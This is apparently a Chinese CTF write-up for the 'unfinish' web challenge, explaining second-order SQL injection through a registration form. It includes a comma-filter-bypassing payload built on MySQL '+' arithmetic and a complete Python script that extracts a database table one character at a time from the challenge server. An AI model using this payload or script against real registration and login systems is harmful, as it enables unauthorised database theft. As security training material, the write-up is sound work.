1. 進入環境,查看頁面

我的心情和這個影像一樣懵逼,拿起dirsearch就是一頓亂掃,如圖:

發現有register.php
2. 問題分析
- 登入register.php,注冊相關賬戶并登錄

直接吧usrname給顯示出來了,也就是說,注冊提交了usrname資料,然后又從資料庫中查詢了username并回顯,那么問題就清晰了一丟丟,想辦法通過username注入資料,在回顯時候再執行,查了查相關的wp,這種方式叫做二次注入:
- 二次注入的原理,在第一次進行資料庫插入資料的時候(注冊時),僅僅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 對其中的特殊字符進行了轉義,在寫入資料庫的時候還是保留了原來的資料,但是資料本身還是臟資料,
- 在將資料存入到了資料庫中之后,開發者就認為資料是可信的,在下一次進行需要進行查詢的時候(登錄后),直接從資料庫中取出了臟資料,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入,比如在第一次插入資料的時候,資料中帶有單引號,直接插入到了資料庫中;然后在下一次使用中在拼湊的程序中,就形成了二次注入,
- 思考注入點
注冊程序中,我們嘗試一下抓包,得到資料如圖:

發現三個關鍵字,email、username、password,最后回顯的是username,那么我們需要對usrname進行注入,如何注入?參考大佬們的wp,說是讓FUZZ,于是屁顛屁顛的去查如何FUZZ,使用Burpsuite,在此記錄一下,

注意§符號,然后點擊payloads,填入相關的符號,(網上有,此處僅僅測驗),然后點擊start attack

可以看到過濾了什么字符,如圖:

- 如何構造?
看了看大佬的WP,翻譯一下,就是通過使用0’+1+'0作為用戶名,在注冊的時候,猜想使用sql陳述句插入到表中,如:
insert into tables values('$email','$username','$password')
在插入中將0’+1+‘0插入,取的時候,MySQL語言的一種特性,就是+在MySQL中是作為運算子的,參考一幅圖:

利用這個特性,我們可以構造payload:0’+ascii(substr((select * from flag),1,1))+‘0這樣我們就可以得到flag表(這個表名是猜的,一般CTF的注入題,如果不特別提示表名的話,表名都是flag)查詢結果的第一個字符的ascii碼,但是之前FUZZ時已經發現,被過濾,查詢資料后發現可以用from * for *代替,所以我們的最終payload為0’+ascii(substr((select * from flag) from 1 for 1))+'0,
*(PS:這點大佬的WP寫出了from * for 的原因很棒,很多我看了都不知道為什么,就很難學)
不過我還是不懂,為什么就這么敢斷定資料庫表是flag,而且能想到利用二次注入,拿到flag的每位ascii做運算回顯出來,然后拿到回顯的前端資料又將其反ascii化,真尼瑪牛逼,,,
- 使用腳本子跑起來(代碼已注釋)
import requests, re
# 拿到登錄頁面的url和注冊頁面的url
login_url = 'http://111.200.241.244:56778/login.php'
register_url = 'http://111.200.241.244:56778/register.php'
flag = ''
# 每次注冊一個賬戶,拿到資料庫中的一個字符
for i in range(1, 100):
# 注冊時候的payload資料
register_data = {
'email': 'test%d123.com' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': '123'
}
# post提交注冊payload
res = requests.post(url=register_url,data=register_data)
# 登錄時候的payload資料
login_data = {
'email': 'test%d123.com' % i,
'password': '123'
}
# post提交登錄payload
res = requests.post(url=login_url, data=login_data)
# 使用正則匹配,找到前端的回顯資料
num = re.search('<span class="user-name">\n(.*?)</span>', res.text)
# 將拿到的ascii轉碼,還原成存盤的資料
flag += chr(int(num.group(1).strip()))
print(flag)
解釋一下代碼中幾個點:
'email': 'test%d123.com' % i, #表示每次注冊的時候,使用%i去替換%d的資料
python格式化輸出可以參考鏈接:PYTHON 中的"%s" %占位符用法
re.search('<span class="user-name">\n(.*?)</span>', res.text)
為什么要去匹配< span class=“user-name”>?如圖:

(.*?)表示使用的正則匹配的非貪婪模式!目的是匹配到第一個內容就停止了,
3. 總結
- 考察sql注入
- MySQL中的特殊字符+
- sql中的內置函式繞過檢測
- 腳本使用
- 正則匹配和轉碼解碼操作
參考博客:
- unfinish
- XCTF-WEB-unfinish
- 攻防世界-web-unfinish-從0到1的解題歷程writeup
太尼瑪難了,好繞啊,,,全程參考wp,要被虐哭了!如有問題,歡迎探討,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/402647.html
標籤:其他
